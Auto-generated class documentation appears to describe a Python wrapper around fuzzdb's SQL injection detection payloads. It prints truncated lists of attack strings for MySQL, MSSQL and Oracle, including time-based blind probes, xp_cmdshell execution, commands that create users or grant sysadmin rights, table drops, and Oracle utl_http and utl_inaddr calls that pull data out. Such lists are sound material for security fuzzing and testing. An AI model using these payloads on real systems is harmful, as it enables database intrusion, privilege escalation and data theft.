Class detect

This implements detection class payloads from fuzzdb

Class Variables

[hide private]

GenericBlind = ['sleep(__TIME__)#', '1 or sleep(__TIME__)#', '...

MSSQL_blind = ['\'; if not(substring((select @@version),25,1) ...

MSSQL = ['\'; exec master..xp_cmdshell \'ping 10.10.1.2\'--', ...

MySQL_MSSQL = ['1', '1 and user_name() = \'dbo\'', '\\\'; desc...

MySQL = ['1\'1', '1 exec sp_ (or exec xp_)', '1 and 1=1', '1\'...

oracle = ['\xe2\x80\x99 or \xe2\x80\x981\xe2\x80\x99=\xe2\x80\...

location = '/data/attack-payloads/sql-injection/detect/xplatfo...

xplatform = ['<>"\'%;)(&+', '|', '!', '?', '/', '//', '//*', '...

Class Variable Details

[hide private]

GenericBlind

Value:

['sleep(__TIME__)#',
 '1 or sleep(__TIME__)#',
 '" or sleep(__TIME__)#',
 '\' or sleep(__TIME__)#',
 '" or sleep(__TIME__)="',
 '\' or sleep(__TIME__)=\'',
 '1) or sleep(__TIME__)#',
 '") or sleep(__TIME__)="',
...

MSSQL_blind

Value:

['\'; if not(substring((select @@version),25,1) <> 0) waitfor delay \'
0:0:2\' --',
 '\'; if not(substring((select @@version),25,1) <> 5) waitfor delay \'
0:0:2\' --',
 '\'; if not(substring((select @@version),25,1) <> 8) waitfor delay \'
0:0:2\' --',
 '\'; if not(substring((select @@version),24,1) <> 1) waitfor delay \'
0:0:2\' --',
...

MSSQL

Value:

['\'; exec master..xp_cmdshell \'ping 10.10.1.2\'--',
 '\'create user name identified by \'pass123\' --',
 '\'create user name identified by pass123 temporary tablespace temp d
efault tablespace users;',
 '\' ; drop table temp --',
 '\'exec sp_addlogin \'name\' , \'password\' --',
 '\' exec sp_addsrvrolemember \'name\' , \'sysadmin\' --',
 '\' insert into mysql.user (user, host, password) values (\'name\', \
...

MySQL_MSSQL

Value:

['1',
 '1 and user_name() = \'dbo\'',
 '\\\'; desc users; --',
 '1\\\'1',
 '1\' and non_existant_table = \'1',
 '\' or username is not NULL or username = \'',
 '1 and ascii(lower(substring((select top 1 name from sysobjects where
 xtype=\'u\'), 1, 1))) > 116',
...

MySQL

Value:

['1\'1',
 '1 exec sp_ (or exec xp_)',
 '1 and 1=1',
 '1\' and 1=(select count(*) from tablenames); --',
 '1 or 1=1',
 '1\' or \'1\'=\'1']

oracle

Value:

['\xe2\x80\x99 or \xe2\x80\x981\xe2\x80\x99=\xe2\x80\x991',
 '\' or \'1\'=\'1',
 '\'||utl_http.request(\'httP://192.168.1.1/\')||\'',
 '\' || myappadmin.adduser(\'admin\', \'newpass\') || \'',
 '\' AND 1=utl_inaddr.get_host_address((SELECT banner FROM v$version W
HERE ROWNUM=1)) AND \'i\'=\'i',
 '\' AND 1=utl_inaddr.get_host_address((SELECT SYS.LOGIN_USER FROM DUA
L)) AND \'i\'=\'i',
...

location

Value:

'/data/attack-payloads/sql-injection/detect/xplatform.fuzz.txt'

xplatform

Value:

['<>"\'%;)(&+',
 '|',
 '!',
 '?',
 '/',
 '//',
 '//*',
 '\'',
...